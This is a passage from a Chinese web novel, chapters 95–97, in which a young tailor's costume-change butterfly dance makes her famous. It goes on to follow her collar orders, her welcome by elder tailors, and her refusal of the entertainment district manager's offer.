而在之前如此激烈又精彩绝伦的技艺中,十来个评比人从面露欣赏,越到后面越疲惫,连看客都陆续离场一大半,或等着陆陆续续离场。 等到蝶恋花上台时,剩余的人稀稀落落,提不起精神来,看台坐着的一排评比人在那里闲聊,说着等会下工后,要去吃什么,期间目光往台上挪了一眼。 坐在正中间抬头在看的王荔,皱了皱眉头,只见一个身长高挑,发髻没有任何修饰的,穿素白衣裙的女子走到台子前,手里握着两把扇子。 王荔翻了翻册子,上面写着蝶恋花,她有点不耐烦,搞什么名堂,早知道就走了,留在这里又挨冻又受罪。 “什么玩意,”旁边的李大郎不满,“都到最后了,还能看出白戏,这不是五个人跳吗,怎么就出来一个,不想跳还不如直接说不上了,那样还干脆。” 其他人附和,王荔在走与赶紧走之间,选择了再看一眼,结果就这么一眼,她再也没有挪开眼神。 随着鼓点阵阵,悠扬婉转的歌声响起,台上穿素白衣裳的李夏,慢慢挥舞手里的大扇子,紫蓝色柔软的扇面垂落,一圈圈随着人旋转飞舞,雪白的衣裙如同盛开的花瓣一般。 王荔将要走的步伐收回来,揉着肩膀,百无聊赖地看着,脑海里想回去得什么时候了,怎么还没有结束? 忽然听到有人哇了一声,她回过神来,往台上看去,便见李夏原先手里的两把大扇子不见了,雪白的下裙变成了粉绿两色。 “我没看错吧,”王荔闭上眼睛,又赶紧睁开,不过闭眼的工夫,台上转个圈,原先空荡的发髻,赫然出现了一朵盛开的紫蓝色花朵,王荔很确定,那是两把小扇子。 不等她挪开眼,从右侧和左侧又有人上来,手里飞旋着一条粉白色的花裙,上下挥舞,如同一朵大花须臾开放,又瞬间合拢,想走的人都坐下来,目不转睛看着。 眨眼间,中间的李夏又在转身间,手里握两把大扇子,一同旋转,再次露出雪白的衣裙,王荔这回发誓要好好看着,她不闭眼,可就算她没闭眼,台上其余两人围着李夏转圈,手里的花裙还在,李夏雪白的衣裙从粉绿又变成蓝黄色,继而变成粉紫色。 在转动间,连上身白色窄袖,忽而变成了橙色层层叠叠旋转的花瓣大袖,扇子又消失不见。 众人一同倒吸了口气,从没有见过这样变换间,又能如此将花的形态和美丽,表达得淋漓尽致的。 以为到此便算一场精彩的变装,正想鼓掌贺好之时,台上三人蹲下,将头低下,大家便见裙子层叠,如同盛开的牡丹,而头上两把撑开的小扇做了花蕊。 引来了一只蝴蝶,王荔晃晃头,她疑心自己看错了,便见一人头顶触角,身上穿一件黄纱制的蝴蝶翅膀外衣,背后垂着两根尾巴,有着很清晰的纹路走向。 十分稀奇又独特,却见人将衣裳脱下一抛,手里亦拿有两把折扇,蓝紫色带着花纹的,沿着花跑一圈,两臂上下挥舞,扇子不见了,露出了纯白的衣裳,以及背后青绿色的蝴蝶翅膀。 欢喜着,跑进花丛里,一阵笑闹过后,只听一声嘶,外夹杂着啵的声音,雪白的蝴蝶,青绿的翅膀,在众目睽睽之下,消失了。 又在众目睽睽之中,蜕变成一只漂亮的蝴蝶,两边挥舞的大袖成了流光溢彩的蝴蝶翅膀,从腋下处到小腿,上翅边缘为绿色,中间掺杂着蓝粉绿,下翅边缘则是浅紫织绣,绘织了金银两线和复杂花纹,舞动间,没有人说话,大家都沉浸在破茧成蝶的美丽中。 当蝴蝶翅膀包拢自己身上素白的衣裙,在花间飞转,一点点剥落,露出青绿色的蝴蝶抹胸,腰间垂落的两瓣收腰身长裙,组合在一块,真的如同一只蹁跹的蝴蝶。 一场真实的蜕变上演,哪怕在灰蒙蒙的天色里,也无法掩饰这条衣裙的别样、动人、美丽,和惊人。 到尾声,台上的花与蝴蝶陆续退场,台下的人还沉浸在一场蝶恋花的梦中。 “天呐,”直到有人忍不住叫出声,“我看到了什么?” 坐最前面的女人一下站起来,带倒了身后的椅子,哗啦一声响,她都无暇顾及,而是急急往后面赶,“我根本就没看清啊,到底怎么变出来的!我不看清楚,我今晚连觉都睡不着!” “娘你看到了吗,”另一个小孩猛晃她娘的手臂,“好多花,还有蝴蝶!” 她陷入回忆,“那是我见过最漂亮的蝴蝶翅膀。” 何尝不是大家见过最好看的,一堆人都激动起身,跑去戏房后面围观。 而看台上的评比人从震惊中回过神,面面相觑,碰上从来没有过的变装歌舞,又非常夺目,这种极致又美丽的变装,就算坐在后面,也能直观感受到变换衣裳时的冲击,更别说坐在前面的。 “怎么办?没有额数了,”有人懊恼至极,抓着脑袋,“早知道最后有这么好的,就不那么轻易给出去了。” 李娘子苦恼地低头看纸上,她又坚定地说:“咋办,把哪个去掉,我肯定要留这个的。” 没有人反对,大家的意见是一定一定要保留这个独一无二的舞台,王荔笃定地说:“留!就算砍掉前面十七八个,也一定要留。” 当汪二娘几个下来,还沉浸在演完的悲喜里,碰到一群人过来,又茫然又无措,再听见王荔说她们可以进入暖冬会时,压根不是激动,而是傻了。 “什么?真的吗?真的吗?”汪二娘茫然四顾,找林秀水,想看看她的神色,直到她也点头,大家才欢呼出声,痛哭流涕。 围绕着林秀水,伸出手去牵她的手,像花瓣包拢最里面的花蕊。 而大颗大颗的眼泪砸在林秀水的手背,手臂上,那么烫,她的手僵硬而冰冷,却感受到大家握住她的手时,那么炽热。 五人拥抱她,她感受到了温暖,又感受到了滚烫跳动的心。 “啊啊啊,我们,”汪二娘哽咽,“我们,我们可以的。” 李夏呆坐在那里,她高昂着脑袋,“从来没有想过,我们居然真的可以做到。” 林秀水说:“因为我们出发了。” 只要出发,不管终点是哪里。 她会记得这个夜晚,大家围着她,炙热的心跳和眼泪,又围着她,一起冲出去,跑出南瓦子,到街上又蹦又跳,连冷风拍击脸庞,也不再觉得冷冽,而是一块伸出手,迎接风。 像蝴蝶展开双翅,等风来,顺风而上。 她们去最好的酒楼里定了一间包阁,要了两壶酒,摆满一桌的东西。 大家都吃醉了,醉了也还在抽噎地哭泣。 林秀水没有喝,她很容易喝醉,只是将四仰八叉靠在她身上的,悄悄挪到边上去。 她 坐在那里,就让人觉得像山一样安稳。 林秀水最后喝了一小口酒,笑了声。 她轻声念,自能成羽翼,何必仰云梯。 从最后一个,突破原有的名额进入暖冬会,从毫无指望,到充满光明,仅仅一夜之间,翻天覆地。 到了五日后的暖冬会,大家从忐忑不安,到跃然欣喜,想着大放异彩。 而暖冬会前一日,金裁缝特意将花高价买的六张票座,挨家挨户上门分给老友。 这些都是她在富贵人家做针线人认识的友人,手艺很出众,给官宦人家做了大半辈子的衣裳,她们还成立了一个裁云社,每月举办雅集,会说如今市面上盛行的衣物,以及各种技巧,富贵人家的喜好等等。 比起金裁缝不喜欢钻营,只喜欢做衣,她们手里有着数不清的人脉。 她想借暖冬会这机会,给林秀水铺桥搭路,之前没有找到合适的时候,她的好友眼光又相当高,寻常衣物根本入不了她们的眼。 “什么暖冬会,”唐老太太拿了帖子,“你不从来不去的?还是个五百人大席,金画慈,你大冷天的闲得慌啊?” “你不去拉倒,”金裁缝哼一声,“我跟你说,你不去就等着到时候后悔吧。我看中个好苗子,她虽然年纪轻,可手艺却不俗,来我们裁云社也绰绰有余。” “你这是什么神情,难不成我还能骗你,空口说大话吗?你不信你就还我,你要信得过,明日过来瞧一眼。” 唐老太太倒不是不信,只是嫌弃这五六百人大场的暖冬会,能有什么看头,还得跟人挤在一块。 让她不去是不可能的,她太了解金裁缝了,很想搞清楚葫芦里卖的什么药。 大冷天的,几个老裁缝一碰头,大家都是从富贵人家里出来的,好久没有跑到五六百人的集会上,听取人声一片了。 唐老太太从坐下起就开始满头冒火,她微笑,“你是不是哪里不舒坦?” “来整得我们也不舒坦是不是?” 金裁缝盖住自己的腿,室内也冷得慌,她瞥了眼雍容华贵的唐老太太,“你从前说做衣裳,多看多做少说话,眼下也这样行不行?” 许裁缝打圆场,“先看看,到底是什么惊人之作。” “真的吗?你说才十六岁吧,老慈啊,你不会近来腿脚不好,连带着也眼神不好了,我要不给你买点眼药吧,”张老太太如此说。 金裁缝懒得讲,“早知道带眼药来,先给你们用,免得看不清,还说我眼神不好。” 一群裁缝斗着嘴,吃桌上的点心,看上面的演出,饶有兴致地点头,此时为下午场,演出的多为歌舞,掺杂着杂剧,五六百人实在热闹吵嚷,散发一股莫名难闻的气味。 吵得压根听不见,唐老太太火气都开始上蹿了,就在她要拍桌子走人时,听到蝶恋花的报幕,她又坐下来,想看看到底是什么名堂。 刚开始照旧平平无奇,一群人自说自话,嘻嘻哈哈,连许裁缝都说了一句,“什么啊?” 直到开始变装,她们这一桌全目不转睛瞧着,唐老太太啧了声,“有点看头,先不说颜色,这衣裳做得特别正啊,那腰线和手肘处,收得特别好,一点不累赘。” “配的颜色也好,你看在台上吃色的都不多,尤其是白色,特别衬其他颜色,这色染出来也好看,料子用得好,”张老太太一边看,一边满意地点头,“我们从来没有想过,点子很好。” 到这里大家都能如常地点评,等到蜕变成蝶时,连见过许多华丽衣裳的唐老太太也忍不住睁大眼睛,这种特别的衣裳样式,简直一绝,她自言自语,“到底想出来的?” 她都如此惊讶,更别提引得满场哗然,这可是五六百人的大场面,几乎震惊声犹如浪潮滚滚而来。 “再来一场!”强烈的要求声传遍了整个腰棚,一枚枚铜板,一包包点心还有人拿下了自己头上的簪子和镯子往台上扔。 这在戏台非常普遍,大家对于非常喜欢的戏、杂剧等等时,就会用钱和各种东西往台上扔,作为打赏,扔得越多代表越受欢迎和喜爱。 铜板铺满了大半个戏台,东西一包接一包,还有不少人试图冲破看台,来将东西扔上去。 如此盛况,也就是名角才有的待遇。 金裁缝满脸红光,与有荣焉,想要大肆炫耀一番,却见唐老太太拿下自己的珠链,“看我干什么?不兴我打赏啊?我乐意!!” “叫她们再来一场,我尝尝咸淡,还没有品够呢,最好多来几遍。” “你也赶紧说,让人到裁云社里来,我们好好切磋切磋。” 金裁缝扬起脑袋,“你等着吧。” 南瓦子赶紧安排,蝶恋花一日演了两场,到第二日人更多,盛况空前。 第二日最后一场,人头攒动,管事王荔说让她们跟看客致谢,那么多的打赏,一场就有六七贯,外加叠成小山的各类点心等等。 汪二娘激动得无法自抑,穿着蝴蝶舞服,她站在那里,面对人山人海,除了感谢看客捧场,她哽咽地说出:“能站在这里,能被大家看到,最感谢水记全衣。” “如果没有林秀水,没有她,就没有我们的今日。” 她那么大声又毫不避讳地说:“我们能有以后,能带来更好的蝶恋花,一切都要感谢她。” “希望大家给我们捧场,也能给水记全衣捧场。” 汪二娘跑下台,高举手臂,挥舞翅膀,绕场喊着:“这些衣裳,是水记全衣,是林秀水做的。” “她是最好的裁缝!” 大家在此之前,或许对这个名字熟悉,又或者陌生,但见过一只蝴蝶,通红着双眼来奔跑,展翅告诉众人时。 众人都清楚而又明白,水记全衣这家裁缝铺。 也知道了林秀水。 林秀水站在那里,风吹着她的衣角,也吹落她的眼泪。 她伸出手,拥抱住一只蝴蝶,也拥有了展翅的羽翼。 这是她成名的开始—— 作者有话说:红包 久等了[求求你了][求求你了][求求你了][求你了][求你了] 95-100 第96章 第 96 章 出名与危机 在欢呼声, 在盛大的喧闹声里,目光从台上汇聚到林秀水身上。 她神色不见半点慌张,穿一件绿色窄袖衫, 戴一条粉紫蝴蝶领子,下身为白底绿团花的百迭裙,明媚张扬。 走在看台的窄道上, 面带笑容,“感谢大家捧场蝶恋花,也欢迎来我们水记全衣做衣裳。” “做得好不好啊?”人群有声音突兀地响起。 林秀水响亮地回道:“好不好,我说了不算, 大家穿上身觉得好才算。” 有人故意挑刺,“那我不想到你这做呢?” 林秀水反应很快,开始掏包, 取出一叠之前印好的绯帖递给说话的女子,“没事,风里雨里,寒冬酷暑,水记都在等着你回心转意。” “你也想要,”林秀水转头看笑得前俯后仰的中年妇人,嫣然一笑, 塞给那娘子一张, “见者有份。” 大家哄堂大笑之余, 都赶紧伸出手要一张, 只见那绯帖上面写,生衣熟衣,尽在水记全衣。 桑桥渡南货坊东街第六间。 这念得朗朗上口,有人琢磨了一遍, 夏天里穿的衣裳叫生衣,春秋冬三季的衣裳为熟衣,生衣还通生意,口号喊得好。 “说得好!”汪二娘带头鼓掌。 赢得几声喝彩,林秀水第一次在这么多人露面,一点没胆怯,不仅让大家记住她,还拉了好些生意。 发完绯帖后,她不慌不忙走到出口处,面朝众人大方行礼,从聚集的目光里离场,大家都看着她挺直的脊背,目光落到她的衣领上又慢慢落到后背处。 刚才光听她说话了,却忘了她的衣裳。 那背后的一双蝶翼居然 是镂空的,紫色的丝线绣出了花纹,原本的蝴蝶凤尾变成了两根粉色长飘带,随着风摆动,像蝴蝶化成衣领,伏在肩膀上。 林秀水越走越远,却让人恍惚中有种错觉,会从那绿衫子上,飞出一只蝴蝶来。 美在走动间,映到大家的眼里。 比起蝶恋花变换衣装带来不可忘记的惊艳,这种在寻常服饰上的巧思,又是从未有过的 衣领样式,一下就击中了不少人。 林秀水已经走出去了,还有数十个女子踮脚观望,坐在最前面的女子低头看自己的衣裳,一件蓝白的貉(hé)袖,袖长到肘部,上面全是铜钱纹,她来时还算满意,看了林秀水穿的,自己这穿的是什么? 当下站起来,不管不顾冲了出去,要知道这前排的座,可是她抬高价,花了八百文才买下来的。 “小娘子,小娘子,”那女子气喘吁吁地喊,她记得名字,“林东家,你等等我。” 她喊到破音,“你这领子卖我一领啊——!求你了——” 林秀水想跟管事王荔说句话,差点没被这鬼哭狼嚎给吓死,她长呼一口气,转过身说:“你都求我了,要不我的解下来先给你带着,毕竟解铃还须系铃人嘛。” 汤娘子被她逗笑,连连摇手,指指自己的脖子,“你瞧我这是不是还缺点什么?” “就缺你这样的领子。” “卖我一领。” 林秀水解下蝴蝶领说:“好说好说,不过我们领子五百文到一贯钱不等,这是五百文的。” 五百文的衣领,属实有些小贵,不过等汤娘子摸到这料子时,什么贵不贵的,全抛到脑后。 在屋里看着时,便觉料子有股莹润的光感,一上手还真在这翅膀里夹杂了绸面,下面的翅膀镂空做得很大胆,有点蜻蜓翅膀上的感觉,出乎意料得和谐。 “要不,你先把这领卖给我,”汤娘子呵呵笑两声,“我脖子空得很。” 她当真喜欢得紧,没有的话,夜里都睡不着。 林秀水则摇头,“要合适的才好,我们铺子里有百蝶图,娘子你挑一只喜欢的。” 汤娘子虽有些失望,可很快对蝴蝶领的喜欢,又让她很快高兴起来。不待她开口,跟随她脚步来的十好几个娘子,一窝蜂围住了林秀水。 “我们也要做!” 有位老太太拿着绯帖拍在手里,很大声地说:“见者有份啊。” 那当然每人一份到多份都可以,林秀水又不会跟钱过不去。 找了个地方,借了纸和笔,把一堆人的需求写上去,衣领是从脖子到肩膀,前襟后背占一半,需要的布料不多,工艺倒不少,一领做好最少五日。 林秀水又招了十个裁缝,八个绣娘,铺子里又招了两个打下手的,这也是她敢发出几十上百份绯帖的原因。 十五个人做三十六条领子,有人做三条,想轮换着带,林秀水收了一大笔定钱,有十贯多,大多碎银子,她问王荔借的戥子称的,掺杂一点铜板。 林秀水在做蝴蝶翅膀时,就想到了蝴蝶领,这种画完图样,明确要用的布料、绣样,裁好合适的大小,人手多,做出来就不会耗工时。 她认定蝴蝶领会卖得不错。 拿钱袋子走出来,她脚下步步生风,脸上有种得志后的锐气。 “阿俏,”金裁缝在亭子里喊她。 林秀水收了步伐,向亭子看去,见到几张陌生和蔼的脸庞,她赶紧走过去,有些不明所以。 金裁缝拉过她的手,“走吧,跟我们几个老家伙吃饭去。” “各位老太太好,”林秀水笑眯眯地一一问好,又好奇,“请我吃什么饭?” 她立即又道:“老金,你不是吧,刚看我赚了钱,想我请就直说嘛,我有钱得很,让我做东。” “你个臭丫头,把我叫老了,”金裁缝又怒又笑,作势要打林秀水。 唐老太太捂着嘴笑,“你这丫头怪有意思的,怪不得能做出这么出奇的衣裳。” “你怎么想出来的?” 林秀水走在她们身后,闻言便说:“胡乱想出来的,其他裁缝走的正道,我整日寻思些旁门左道。” “一门心思花下去,总算听了点水花。” 裁缝这营生,跟尺子打交道多了,要丝毫不能差,形制各有定数,哪怕平日性子活泼,到说起衣裳来,都变得一板一眼起来。 尤其像她们这群裁缝老太太,从前给富贵人家做衣裳的,命妇有专门赏赐的霞帔(pèī),穿大袖时搭配横帔直帔,过节穿大袖、长褙子,平时见客也多半为褙子,年轻小娘子则穿上襦下裙等等,早已练就一套刻板又不会出错的路数。 很少有像林秀水这样非常有想法的裁缝。 这群老太太很稀罕她,到酒楼前的路上夸了又夸。 金裁缝做东,庆祝林秀水大出风头,表演圆满落幕。 “阿俏,你怕是要出名了哦,”唐老太太拍着林秀水的肩膀说,她想得远些,“你还太年轻,到时候有些是非风浪,可以来找我们。” 许裁缝说:“出名嘛,有好有坏,你拿不准主意的时候,我们可以给你出出主意。” 大家包括金裁缝都认为,少年得志时一定会飘忽,走不好脚下的路。 唐老太太温热的手握住林秀水的手,很认真地说:“你加入我们裁云社怎么样,别看我们几位老,我们老有老的好。” 林秀水丝毫没拒绝,她知道金裁缝对她的好。 “那当然太好了,”她毫不作伪地说,“我可不嫌弃,这不叫老,叫作多吃几十年的裁缝饭,多拿几十年的针线,可不是我能比得上的。” 她又很诚恳地说:“我确实很年轻,不过我想着哪怕跌几个跟头,也不打紧嘛,至少人生路漫漫,该走的弯路一步也少不了。” 此时林秀水豁达地道:“我嘛,就信奉做好今日的事,明日的事明日再说。” 她打心底觉得自己少年得志,前程远大,又不掩饰野心勃勃。 林秀水拿起茶杯,多谢大家替她着想,又贴近金裁缝说:“金姨,我最感谢你。” “少来,你还是叫我老金吧,”金裁缝别扭地说,嘴巴很硬,看似不吃这一套,实际上心里老喜欢了。 “好吧,老金姨。” 金裁缝说:“你多吃点,上好的东西封不住你的嘴。” 大家哄堂大笑,林秀水又不恼,到外面借了条小毯子,盖到金裁缝腿上。一屋子裁缝坐在一块,烛火照耀下,听林秀水讲,她怎么将衣裳做出来的,一群人听得津津有味,来上菜的伙计只听出了,先这样再那样,暗自嘀咕。 不过说衣裳说着说着,这群老太太总绕不开一个话题,那就是说媒。 “有没有中意的人了?”唐老太太问,“没有的话,我手里有几个很标志的郎君,肯定配得上你。” 林秀水很坦率地承认,“有。” “挺中意的。” 金裁缝半点不震惊,唐老太太差点没拿稳手里的茶,要泼洒到旁边的张老太太身上去,许裁缝哈哈笑了一声,难得见到这么不扭捏的,好奇问道:“怎么没定亲呢?” “想再等等。” 林秀水其实想说,她不怕感情迟到。 至少要经历朦胧的,清楚的,热烈的情感,等她认为很合适又幸福的时候。 大家倒没觉得多惊世骇俗,很欣赏林秀水的想法,说笑着到了夜深,再三三两两离开,叫林秀水腊月中旬来裁云社。 热闹过后,林秀水搓搓自己冰凉的手,跟金裁缝挥手告别,等到看不见任何人的身影,她才起身走回家。 随后事实也没有出乎她的意料,随着蝶恋花的火爆,林秀水以及水记被反复提及。 大家最喜欢的她两件衣裳,一是蝴蝶镂空加纱的罩衣,二是蝴蝶领。 这是天还没亮的清早,林秀水都没有睡醒,桑树口的巷子还少有人烟,连王月兰还沉浸在睡梦中。 她已经被喊下来,披着件外衣,睡眼惺忪地看着面前无比激动的六七人,她压根没有听进去,“嗯?” 她不认 识这些人。 “就是你那蝴蝶领,我买十领,”一个高挑的女子手舞足蹈地说,语气抬高,唾沫都差点飞到林秀水身上来。 另一个戴着高冠的娘子抓住林秀水的手,上下使劲晃了晃,“我除了蝴蝶领的,我还要那罩纱,你懂吗,我昨夜做了两场梦,梦里全是蝴蝶,你再给我做一身蝴蝶的衣裳,我要满绣的。” “你给我先做,我可以把全部的钱都给你,不需要定钱,你给我先做!” 林秀水被惊得一激灵,她抹把脸,“我去开铺子,你们慢慢说。” 等她到铺子那时,也围着十好几人,等她过来时,连忙聚过来,话语淹没了林秀水。 金裁缝来了都插不上话,阿云力求能发出最高的声响,努力震慑住大家,新招的两人嗓门很大,让大家站好,一个个说。 “听懂了吗?”金裁缝揉揉耳朵,面朝林秀水小声问。 “听懂了,”林秀水说,“全部都是给我先做。” 出名的烦恼在于此,生意火热。 五个人也抵挡不了大家的热情,水记又重现从前缝补时的盛况,林秀水也选择抽签摇号做衣裳,相对来说公平,需求也听得更为准确。 一日累得半死,口干舌燥,她瘫在椅子上,所幸银钱很可观,一日定钱收了一百一十贯,这对于从前一日二三十贯,已经有了翻了不知多少。 金裁缝看她得意的神色,“要稳重。” “让小水得意一下,”林秀水靠在钱堆上,白花花一堆钱,她还能赚! 赚到了钱,先给辛苦的大家发赏银,再定料子,打好图纸,安排妥当,她想买大宅子。 忙到夜深回去,巷子口王月兰四处张望,夜里寒风盛,林秀水见到她都戴上平日不戴的风帽,三两步提起吃食走上前。 “姨母。” 王月兰哎了声,接过她手里的食盒,将怀里热腾腾的汤婆子塞给她,“走吧,回家去。” 屋里还有灯火,小荷趴在凳子上睡得迷迷糊糊,还没睡醒,嘴巴先说:“阿姐,你回来了。”摇摇晃晃站起来,然后一头撞进了林秀水的怀里,呼呼大睡。 王月兰拉起她,嘀咕道:“叫你上去睡你不睡,非得找罪受。” 小荷上楼睡去后,王月兰走下来,林秀水摆开吃食说:“姨母,我们买个宅院住吧。” “买个好点的,院子大些,屋子宽敞亮堂的小荷七岁了,得有间自己的屋子睡了。” 林秀水倒不是不喜欢这屋子,烟火气很足,早上吵晚上吵,跟两边人家都只隔着一块木板,林秀水睡觉都不敢发出太大的声响,像小荷打呼噜,她半梦半醒时总以为,哪头牛跑到床边来了。 王月兰沉默,过了会儿才说:“你想好了?” “想买多少钱的?” 她倒不想阻拦,如今林秀水的生意很好,来往人太多,三更半夜还有敲门的,换个更好的住宅确实不错。 林秀水拆开一罐鸡汤,将油纸扔出去说:“想了好久,我找张牙郎问过,有几间好一点,朝向不错,亮堂,院子能栽树和花,也临河,有私家船亭,两百贯上下。” 这个价钱听得王月兰眼皮子直跳,她就算在织锦处,从三贯银钱涨到四贯,攒下来的二十几贯,只付得起零头。 “要不,我把这屋子卖了,也能有个五十两,”王月兰很艰难地开口,她很难下得了这个决心,为了买这间屋子,她以前在染肆里从早干到晚,没有一天歇工的,好不容易靠自己还清了债,又打算卖掉它。 林秀水按住她的手,“姨母,不要卖,我们说好的,我没有娘了,我只有你跟小荷这门亲了,你对我好,我会好好孝敬姨母的。” 她能够很努力,很拼命地往上走,不是有人逼着她,是她想让牵挂的人过上好日子。 “我手里有钱,等着另一半定钱到账,我们就去买宅子。” 林秀水如此笃定地说,她手里有两百贯,一半要用作各种开支,差的那一百多贯,裁缝作的五十贯和满池娇的三成利都还没有到她的账上,但她已经在物色宅院了,开春前肯定能搬进去住。 王月兰抚摸林秀水的头发,暗自想,她姐这一辈子没有享过的福,怎么就让她享了呢,姐啊姐,孩子真有出息了。 出息这两个字,成了林秀水最常听到的话。 她走在去南瓦子的路上,已经不是别人眼里的生面孔,不少人跟她打招呼,问好,再询问做衣的事情,也有人跟她攀谈,许出大价钱,想要她再做一身蝶恋花的衣裳,一切好说。 她来者全拒,走到王荔的屋子里,王荔亲热地说:“从来没有见过你这样的裁缝,哪里来的这么多念头。” “那你眼下见到了,”林秀水指指自己的脑袋,“想出来的。” 王荔作为南瓦子里团圆瓦子的管事,她手里名角不少,如今也深刻感受到林秀水的能力,想跟她处好关系。 “你眼下在我们南瓦子里,尤其是那么多伎艺人里,大名响当当,”王荔长得很稳重,说话也很稳,“有二三十人托我,想让你也给她们出出主意,钱好说,一个人十贯起步。” 十贯起步,不是做衣裳的,而是仅仅给林秀水个人,她如果接下二十个人的活,就能净赚两百贯。 林秀水没有出声,拢着裙子慢慢坐下来,双手交握放在桌上,她知道王荔还有话要说。果不其然,王荔关上了门,转过身沏茶,端上桌轻轻放下后道:“林娘子,我们也打开天窗说亮话,我们南瓦子更想你可以跟我们做生意。” “我们里面有很多裁缝,但各种杂剧、乔装扮需要更出挑的服饰,能比同蝶恋花的最好,只是苦于始终找不到合适的人选,不知道林娘子你有没有想法?” 王荔比了一个数,“我们一个月可以给到一百贯。” 虽则王荔并非觉得林秀水没有见过世面,可这一月一百贯,是相当高的价钱了,她瞄着林秀水的脸色,想看她露出震惊的神色。 不过王荔失望至极,人家沉稳得很。 林秀水端起茶抿了一口,不为所动。 “我做不到,”她放下茶盏说,“你们想要变出第二个蝶恋花,不可能的。” “我呢,是个很喜欢钱的人。” 王荔心里腹诽,没看出来。 林秀水盖上茶杯盖,笑了一声,“要很早之前,我会答应的,眼下真的做不到,蝶恋花只会有一个,两百贯也打动不了我的。” “不过我可以跟你承诺,我会帮她们换服饰的,算我借了你们南瓦子来宣扬自己的生意。” 很可惜,她已经见过和拥有过许多钱,那些钱构成了她的底气和所见的世面,让她能选择也能有所拒绝。 她并不想被逼着,一定要做出被人人称道的衣裳,单纯为了钱,灵感会枯竭,最后还会砸自己的招牌。她也想给汪二娘她们一点时间,可以站稳脚跟,从最后爬上来并不容易。 王荔从始至终都不明白,到底为什么?不过她知道的,等林秀水名气上来后,南瓦子想在她相对不出名的时候,用钱笼络住她,算是白想了。 又很不甘心,她问:“为什么呢?我们这里有比汪二娘几个更出众的,如果你做出来,等她们给你宣扬,到时候场场满座,别说一两百贯,哪怕三百贯我们也不是不能给。” 林秀水叹口气,“比起钱,我更喜欢真心。” 她跟王荔说不通的,她绷着脸说:“不过我要说,请慎重,换掉汪二娘她们,也就换掉了我。” “你们总不想以后都是同样一身衣裳,不想刚捧出个蝶恋花,就折在你手里吧。” 王荔倒没有太大的想法,但她顶头的人确确实实这么想,只要衣裳在,手法在,谁来都一样,不如捧几个出名的,给她们镀金。 “我不想,”王荔如实说,要上位的又不是她手底下的人,好不好关她屁事,只不过她又做不了主。 而林秀水还不够有名气。 “最多半个月,”王荔摊手,“我比你都想把蝶恋花留在我手里,可我办不到,哪怕你不愿意再做,其他裁缝也能照抄。” 实话实说,虽然很难听。她的衣裳风格鲜明,当时为了意象,并不算很难,只要照着版型做,很快能做出一套来。 林秀水并没有动气,摩挲着茶杯,挺可笑的。 在一样东西有了名气后,一是造替代品,二是让人顶替。 其实对她的影响并不大,换成更出名的人来,只要蝶恋花出演一日,她的生意会一直好,名气会继续增长,只要她肯舍弃,肯妥协,她想要的应有尽有。 可是,抛下良心太容易,捡起来就不容易了。 她站起来,正了正自己的领子,微笑道:“那就等着瞧。”—— 作者有话说:来了,新的一月,新的祝福,事事顺利,身体健康,红包发发发[抱抱] 明天晚上十一点更新哦[亲亲] 第97章 第 97 章 斗篷秀 时至十一月底, 南瓦子十二座勾栏瓦舍,处处热闹非常。 林秀水从王荔那推门出来,一排石墙上张贴着纸榜, 她定睛一看,上面写了蝶恋花出演的时辰,早中晚三场。 她走下木质台阶, 想起前两日汪二娘和李夏五人,又请她吃饭,满脸红光,席间一直说以后的事, 一谈起浑身有劲。 哪怕南瓦子让她们连轴跳,从最早的卯时到酉时,等候加转场, 一日下来长达五个时辰,哪怕衣裳穿得厚,一层层叠加起来,也免不了头昏脑胀,她们一场场熬了下来,畅想自己的出头之日。 林秀水来时脚步轻快,走出南瓦子时, 走得很沉重。 找了间茶馆靠窗的位置坐下, 要了一杯清茶, 坐下来后看向窗外行色匆匆的人, 心事重重。 她倒不觉得这是个难破的死局,只是有点疲累,又不想将脸色和不满的情绪带回去,让身边的人看出来, 只好坐在这里喝闷茶。 林秀水呸了一声,茶真难喝啊。 等嘴巴里的苦味散去后,林秀水起身回去,她没露异常。 明日照常到裁缝作里上工,她之前为了制作蝶恋花的衣裳,连休了好几日,今日到了上工的时期。 “哎,”顾娘子从门口进来,照例往满池娇走一趟,看见她面色还有些惊奇,朝林秀水走来,“你今日来这么早,正想找你呢。” “我可不得来早点,有一堆的事,我哪怕歇了几日也记在心里呢,”林秀水正拆临安寄来的信,桌子上摆着一堆的色织布,她一夜没睡,照旧精神奕奕。 顾娘子轻挨在桌子边,打趣道:“我离这么远可是都听说你的大名了。” “我还打算带我家里那两个小的,也去瞧瞧,算是给你捧捧场。” 林秀水从信上移开目光,笑道:“行啊,不过娘子你还是要趁早去看。” 她将信展开平整,压在新买的书底下,顾娘子瞥了一眼,伸手点了点,有些奇怪,“你怎么还看起孙子兵法来了?” “学一学里面的战术,”林秀水面不改色,“想知道什么叫作知己知彼,百战不殆。” 顾娘子拿起这本蝴蝶装的书,翻看了两页,又放回原处说:“怎么,你也想保家卫国?” 林秀水站起来,她用玩笑话说真心话,“我想保卫自己的衣裳和脸面。” 她一笑而过,顾娘子却说:“你呢,就是太要强,有什么事需要帮忙的,只管直说。” “只要不是杀人放火,我肯定会帮你。” 林秀水并不是会推脱的人,她不会放过所有她可以依靠的力量。 在半个月的时间里重新制作衣裳,她个人不足以能完成。 但她也没有急到手足无措,关上门,隔绝掉外面纷扰的声音,慢慢走过来,跟顾娘子坦白,“我确实遇到了一件很棘手的事情。” “嗯,我知道了,你尽管说,”顾娘子看她,并没有刨根问底,“休工的话,我给你暂时顶着。” 林秀水大致讲了南瓦子的事情,而后又笑道:“不会,我接下来半个月里,会一直待在裁缝作里。” “我想了一夜,这对于我,或是抽纱绣来说都不是一件坏事。” 顾娘子挑了挑眉,“什么意思?” 眼下抽纱绣已经日渐平稳,活也不多,毕竟冬日里穿镂空很少见,而且手指头冻得僵硬,并不算很灵活。 活少又受阻于季节,抽纱绣的十五个人只干半日,总忧心忡忡,怕年底钱袋跟活一样空空如也。 林秀水说:“既然抽纱绣时隔半年,大家手艺都见长,我们就不要局限在领抹上,谁说抽纱绣的布料不能做衣裳的。” 她拿出一张卷好的纸,拿镇纸压着四周,她熬了一晚上画出来的。 顾娘子低下头,又转而坐下,神色凝重,只见纸上画了一个半身,人的头顶上盖着颜色偏金黄的盖头,林秀水管这叫头纱,从头顶处绘制着蝴蝶纹样,用金线、黄丝线、各种珠子来展现,既不给人以真实的恐怖,又能带来真实的惊讶感。 她伸手沿着头纱的走向,摸了摸那额头处的珠链,又往下看垂落于脸颊的珍珠串,长久没说话,内心震撼,有种不同于飘逸的仙气,很圣洁。 林秀水甚至还没有做匹及的衣裳,顾娘子难以想象做出来之后,她深吸了口气,“你尽管做,人手不够来找我,我给你安排,你先把衣裳做出来。” 